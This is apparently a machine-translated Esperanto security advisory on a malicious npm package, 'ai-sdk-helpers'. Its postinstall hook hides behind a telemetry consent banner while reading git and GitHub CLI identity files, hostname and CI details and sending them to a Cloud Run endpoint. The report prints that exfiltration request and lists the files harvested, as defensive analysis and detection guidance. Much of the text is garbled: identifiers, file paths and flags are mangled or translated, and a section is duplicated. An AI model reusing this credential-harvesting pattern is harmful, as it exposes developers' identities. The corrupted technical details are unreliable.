TL; DR
Unuopa npm-pakaĵo, ai-sdk-helpantoj, prezentas sin kiel produktada ilaro por la Vercel AI SDK, ofertante kostospuradon, rezervan provizanton kaj streaming-helpantojn.
Ĝia instaltempa skripto malfermiĝas per polurita malkaŝa standardo priskribanta anonimaj diagnozoj, promesante ke neniu fontkodo, ĵetonoj aŭ akreditaĵoj estas transdonitaj, honorante DO_NOT_TRACK elekti ne partopreni, kaj ligi al paĝo pri telemetria politiko.
La sama skripto poste legas la git-identecon de la programisto, la GitHub CLI-agordon, la maŝinan gastigantnomon, la operaciuman uzantnomon, la laboran dosierujon kaj la CI-provizanton.
Tiuj datumoj estas senditaj kiel JSON al finpunkto de Google Cloud Run, kreante klaran miskongruon inter la deklarita telemetria politiko kaj la faktaj kolektitaj kampoj.
La pakaĵo estis publikigita en dudek du versioj ene de ununura 83-sekunda eksplodo, kaj la instala skripto estas bajto-post-bajta identa tra ĉiu markita versio.
Sep el la ok versioj reviziitaj de nia pipeline estis taksitaj nekonkludeblaj de la ML-klasifikilo ĉar la konsent-standarda stilado legiĝas kiel legitima telemetrio.
Ni klasifikas ai-sdk-helpers kiel malica surbaze de kolektado kaj elfiltrado de la identeco de programisto dum la instaltempo.
Severeco: alta.
Anatomio de la instalado
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } postinstalo funkcias aŭtomate sur npaga instali, antaŭ ol iu ajn reklamita kodo de la pakaĵo estas iam ajn importita. La skripto skriptoj/postinstalo.js estas kie la tuta konduto dum la instalado troviĝas.
Ĝi malfermiĝas per komentobloko kaj avizo pri rultempa skribotablo en la registro de privateco-konscia malfermfonteca projekto:
>Kiam vi instalas ai-sdk-helpers, ni rapide kontrolas la kongruecon de la medio kaj raportas anonimajn diagnozojn… La datumoj estas tute anonimaj — ni kolektas vian platformon, Node-version kaj unudirektan haŝon de via maŝina identigilo. Neniu fontkodo, ĵetonoj aŭ akreditaĵoj estas iam ajn transdonitaj.
Ĝi eĉ instalas funkciantan pordegon por elekti ne partopreni, la unuan efektivigeblan kodon en la dosiero:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } unue ŝnuri ĉi tiun pordegon estas tio, kio igas la reston legita kiel konsenta: programisto, kiu starigas `D_NE_TRAKU` silente finiĝas la instalado kaj finas, ke la pakaĵo respektas la konvencion. La respektata malkonfirmo estas reala. Kion ĝi alportas, por ĉiu, kiu ne agordas ĝin, estas la kolekto priskribita sube — ne la pli mallarĝa "platformo, Node-versio kaj unudirekta haŝo" kiun la avizo nomas.
Sub tiu pordego, la skripto kunmetas utilan ŝarĝon kiu iras multe preter tiu priskribo.
- *Gt identeco.* rsolviScmIdenteco()` kapoj `~.gitconfig`,`~.config/git/config`,kaj la nuna projekto `.ĝi/agordo`,analizas la `[ser]` sekcio, kaj redonas la agorditan commit retpoŝto. Se neniu agordodosiero donas retpoŝton, ĝi refalas al la `GT_AŬTORO_RETPOŜTO`,`GT_COMMITTER_EMAIL`,kaj `EAIL` variabloj pri ĉirkaŭaĵoj. Dokumenta ĉeno super la funkcio enkadrigas la legadon kiel manieron "malduplikati instaladojn trans maŝinoj posedataj de la sama persono (ekz. tekokomputilo + CI)" — deklarita celo kiu postulas stabilan identigilon por ĉiu programisto, kiun commit retpoŝtaj provizoj.
- *GtHub-konto.* rsolveGitHubIdentity()` kapoj `~.config/gh/hosts.yml` kaj `~.config/gh/hosts.yaml` la agordodosiero verkita de la GitHub CLI kiam programisto aŭtentikigas — kaj per regula esprimo eltiras la `u`er:` kaj `emalsanu:` kampoj. Tiu dosiero ankaŭ stokas la GitHub OAuth-ĵetonon; la regula esprimo de la skripto celas specife la uzantnomon kaj retpoŝtadresojn kaj ne eltiras la ĵetonon. La aserto "neniuj ĵetonoj... estas iam transdonitaj" de la malkaŝa standardo do estas laŭvorte vera por tiu kampo dum la ĉirkaŭaj kontidentigiloj estas legitaj kaj senditaj.
- *Hst kaj CI-fingrospuro.* la manuskripto tiam kolektas `o.gastigantonomo()`,`o.userInfo().username`,la Node-versio, platformo kaj arkitekturo, `pocess.cwd()`,kaj etikedo CI-provizanto solvita per kontrolado de mediaj variabloj por ok provizantoj (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, kaj du ĝeneralaj CI-flagoj). La listo de provizantoj legiĝas kiel inventaro de kie la skripto atendas ekzekutiĝi — interagaj ŝeloj kaj aŭtomatigitaj konstruaj pipelines egale.
Ĉiuj ĉi tiuj estas grupigitaj en unuopan `d`agnostikuloj objekto, kun la kampoj por programisto kolektitaj sub `iento` ili kaj la gastigaj datumoj sub `rntime` kaj `cnteksto` eys, poste seriigita kaj sendita:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); La respondo estas forĵetita kaj ĉiuj eraroj estas englutitaj — komento notas, ke "telemetrio neniam devas rompi la instaladon." La finpunkta gastnomo ĉifras servon de Google Cloud Run en la `e`ŝnuro-okcidenta1` regiono.
La breĉo estas la rakonto. La standardo nomas tri kategoriojn de datumoj — platformon, Node-version, maŝin-identigilon. La utila ŝarĝo sendas la veran git-kodon de programisto. commit retpoŝtadreso, ilia GitHub-uzantnomo kaj retpoŝtadreso, ilia maŝina gastnomo kaj operaciuma kontnomo, ilia projekta vojo, kaj ilia CI-medio. La kampoj kiuj identigas *ppersono kaj iliaj kontoj* ĝuste la kampojn, kiujn la malkaŝo preterlasas.
La README-dosiero plifortigas la kadrigon de la alia flanko. Ĝia sekcio "Telemetrio" ripetas la aserton pri anonimeco kaj ligas la vorton `D_NE_TRAKU` o `cnsoledonottrack.com`,la vera komunuma paĝo kiu dokumentas la konvencion pri malaliĝo — pruntante agnoskitan privatecon standard por igi la avizon legita kiel rutina.
templinio
Ĉi tiu estas trovaĵo el unu pakaĵo kun tre mallonga, tre densa publikiga historio. Ne estas plursemajna kampanja arko por spuri — la tuta versiaro estis puŝita je maŝina rapido.
| Kiam (UTC) | okazaĵo |
|---|---|
| 2026-06-03 20:31:20 | Unua versio (0.1.0) publikigita al npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Ĉiuj 22 versioj (0.1.0 tra 1.4.2) publikigita en 83-sekunda aŭtomata eksplodo. |
| 2026-06-04 | Ok versioj markitaj per detektaj signaloj; mana analizo konfirmas identeckolektadon kaj elfiltradon dum la instalo. La pakaĵo restis aktiva ĉe npm dum la analizo. |
La 83-sekunda fenestro trans 22 semantikaj versioj estas mem konduta indikilo: la versioŝtuparo (`01.0`,`01.1`,... `14.2`)prezentas la surfacon de aktive prizorgata projekto kun eldonhistorio, produktita en unu skriptita kuro. La instala skripto ne ŝanĝiĝas trans tiun ŝtuparon — vidu sube.
Indikiloj de kompromiso
La instaltempa utila ŝarĝo estas identa tra la tuta publikigita versio-intervalo. A `dff` f `sripts/postinstall.js` inter versio `02.1` dua versio `14.2` ne redonas diferencojn; la konduto estas unu fiksa fingrospuro, ne evoluanta utila ŝarĝo.
reto
La 83-sekunda fenestro trans 22 semantikaj versioj estas mem konduta indikilo: la versioŝtuparo (`01.0`,`01.1`,... `14.2`)prezentas la surfacon de aktive prizorgata projekto kun eldonhistorio, produktita en unu skriptita kuro. La instala skripto ne ŝanĝiĝas trans tiun ŝtuparon — vidu sube.
Indikiloj de kompromiso
La instaltempa utila ŝarĝo estas identa tra la tuta publikigita versio-intervalo. A `dff` f `sripts/postinstall.js` inter versio `02.1` dua versio `14.2` ne redonas diferencojn; la konduto estas unu fiksa fingrospuro, ne evoluanta utila ŝarĝo.
reto
| indikilo | rolon |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Elfiltrada finpunkto ricevanta HTTPS POST-petojn kun JSON-utilaj ŝarĝoj. Gastigita sur Google Cloud Run en la europe-west1 regiono. |
Forlogaĵa infrastrukturo
| indikilo | rolon |
|---|---|
ai-sdk.guide | Pakaĵa hejmpaĝo kaj viva retejo subtenantaj la aŭtoran identecon de "AI SDK Guide". |
ai-sdk.guide/telemetry | URL de telemetria politiko referencita en la avizo pri instalado. |
hello@ai-sdk.guide | Retpoŝtadreso de la aŭtoro deklarita en package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Fonta deponejo deklarita de la pakaĵo. |
Dosieroj legitaj dum instalado
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/agordo` git `[ser]` poŝto
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `emalsana
Kondutismaj signaturoj
- – m `pstininstall` ook alvokante faskigitan Node-skripton
- – pordego por elekti ne partopreni (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NE_TRAKU`)prezentita kiel privateca funkcio, antaŭ identeckolektado
- – tbound HTTPS POST de JSON-objekto enhavanta git-retpoŝton, GitHub-identecon, gastigantnomon, operacium-uzantnomon, cwd-nomon kaj CI-etikedon
- – te-identa instala skripto trans rapide publikigita versioŝtuparo
Atribuo kaj Observita Konduto
Ni atribuas nenion krom tio, kion registras la pakaĵo kaj la registro-metadatenoj.
La npm-prizorganto de registroj estas la konto `aielsimon`,kun la adreso `aiel@vigilance.security`.La registro listigas tiun retpoŝtadreson kiel nekonfirmitan kaj la fontkontrolan identecon de la konto kiel nekonfirmitan. La `pckage.json`,aparte, prezentas la aŭtoron kiel "AI SDK Guide`ello@ai-sdk.guide>`”kun hejmpaĝo de `a-sdk.gvidilo` kaj fontdeponejon sub `gorganizo `thub.com/ai-sdk-guide`. La retpoŝta domajno de la publikiga konto (`vigilance.security`)kaj la aŭtora identeco en la pakaĵo (`a-sdk.gvidilo`)estas malsamaj domajnoj.
La `a-sdk.gvidilo` ite estas aktiva kaj respondas, kaj la `/`elektrometrio ath solvas — la forlogaĵan identecon subtenas atingebla retĉeesto anstataŭ morta ligilo, kio pliigas la kredindecon de la pakaĵkadrigo.
**Observita kapablo.** Dum instalado, la pakaĵo legas la identigon de la programisto kaj la konto-agordajn dosierojn, fingrospuras la gastiganton kaj la CI-medion, kaj transsendas la rezulton al funkciigisto-kontrolita finpunkto, samtempe montrante avizon, kiu priskribas pli mallarĝan kaj anonimigitan datumaron. Ni priskribas ĉi tiun konduton; ni ne asertas motivon por ĝi. Legantoj taksantaj la pakaĵon — inkluzive de iu ajn partio, kiu rekonas la publikigan identecon — devus pripensi la observeblan miskongruon inter la deklaritaj kaj faktaj datumfluoj.
Efiko, tendencoj kaj gvidlinioj por defendantoj
Kiu estas eksponita. Ĉiu, kiu instalas ai-sdk-helpantoj — rekte aŭ kiel transitiva dependeco — funkciigas la kolekton sur tiu maŝino. Ĉar la ellasilo estas postinstalo, la reklamita biblioteka kodo neniam devas esti importita por ke la datumfluo okazu; la instalado sola sufiĉas. La plej valoraj medioj estas programistaj laborstacioj kun agordita git-identeco kaj aŭtentikigita GitHub CLI, kaj CI-ruliloj, kie la detekto de CI-provizanto fare de la skripto indikas, ke la kolekto supozeble funkcios ene de la konstruo. pipelines same kiel sur tekokomputiloj.
Kion ĝi malkaŝas. Ne aplikaĵaj sekretoj en la ĝenerala kazo — la utila ŝarĝo centriĝas sur identecola programisto commit retpoŝtadreso, ilia GitHub-kontonomo kaj retpoŝtadreso, la maŝinnomoj kaj kontononomoj, kaj la projektpado. Tio estas antaŭcismapo de kiu instalis la pakaĵon, sur kiu maŝino, en kiu deponejo, kaj sub kiu CI-sistemo. Por organizo, kelkaj tiaj registroj kune listigus, kiuj inĝenieroj kaj kiuj konstrusistemoj tiris la dependecon — utila kiel antaŭulo por pli celita posta agado, eĉ kvankam la propra konduto de ĉi tiu pakaĵo ĉesas ĉe kolekto kaj transdono.
La tendenco: telemetrio kiel ŝirmo. Legitimaj programistaj iloj ja kolektas anonimigitajn instalajn diagnozojn, kaj la konvenciojn por fari tion respekteme — malkaŝan avizon, NE_SPURI honoro, malaliĝo-flago, politiko-URL — estas bone konataj. ai-sdk-helpantoj reproduktas ĉiujn kvar tiujn konvenciojn fidele kaj uzas ilin kiel la envolvaĵon por identeckolektado. La ĉeesto de konsenta standardo, funkcianta malaliĝo, aŭ ligilo al privateca politiko ne estas pruvo, ke pakaĵo estas fidinda; tiuj kontroloj estas malmultekostaj por imiti. La sola fidinda kontrolo estas kion la kodo efektive legas kaj kien ĝi efektive sendas ĝin.
Ĉi tiu pakado ankaŭ havas mezureblan efikon sur aŭtomatan selektadon. Tra la versioj nia pipeline reviziitaj, la simplalingvaj komentoj de la instalskripto, strukturitaj kamponomoj, kaj konvencia pordego por malaktivigo estis taksitaj kiel ordinara telemetrio: sep el la ok revenis nekonkludebla de la ML-klasifikilo anstataŭ malica. La signalo, kiu solvas la ambiguecon, ne estas en la prozo — ĝi estas en la specifaj dosieroj, kiujn la skripto malfermas (~/.gitconfig, ~/.config/gh/hosts.yml) kaj la celloko, al kiu ĝi sendas. Revizianto, aŭtomata aŭ homa, kiu legas la malkaŝon kaj haltas tie, atingos malĝustan konkludon; la determino devas veni de la faktoj pri la datenfluo.
Gvidlinioj por defendantoj:
- Instali kun skriptoj malŝaltitaj defaŭlte — npm install –ignore-scripts, aŭ aro ignori-skriptojn=vera in .npmrc kaj eksplicite plenumi kontrolitajn konstrupaŝojn. Tio neŭtraligas postinstalo-ekigita kolekto tra la tuta tabulo.
- Ne traktu la kontrolojn por malaliĝo kiel fidindajn signalojn. NE_SPURI check aŭ ligilo "telemetria politiko" diras al vi nenion pri la datumoj, kiujn skripto kolektas kiam la pordego ne estas agordita.
- Legu la instalan hokon antaŭ ol adopti helppakaĵojn de AI-ekosistemo. La Vercel AI SDK-spaco estas rapide evoluanta, altfida celo; a postinstalo kiu tuŝas ~/.gitconfig or ~/.agordo/gh/ estas klara signalo sendepende de kiel la ĉirkaŭaj komentoj estas skribitaj.
- Monitori konstrutempan eliron. Eliranta HTTPS POST dum npaga instali, precipe al ĵus proviantita nub-funkcia finpunkto, estas observebla ĉe la rettavolo kaj estas forta detektopunkto por CI-medioj.
- Atentu pri kunpremitaj versioŝtuparoj. Pakaĵo, kies tuta semantik-versia historio aperas post kelkaj sekundoj, kun senŝanĝa instalskripto, prezentas fabrikitan prizorgan historion.





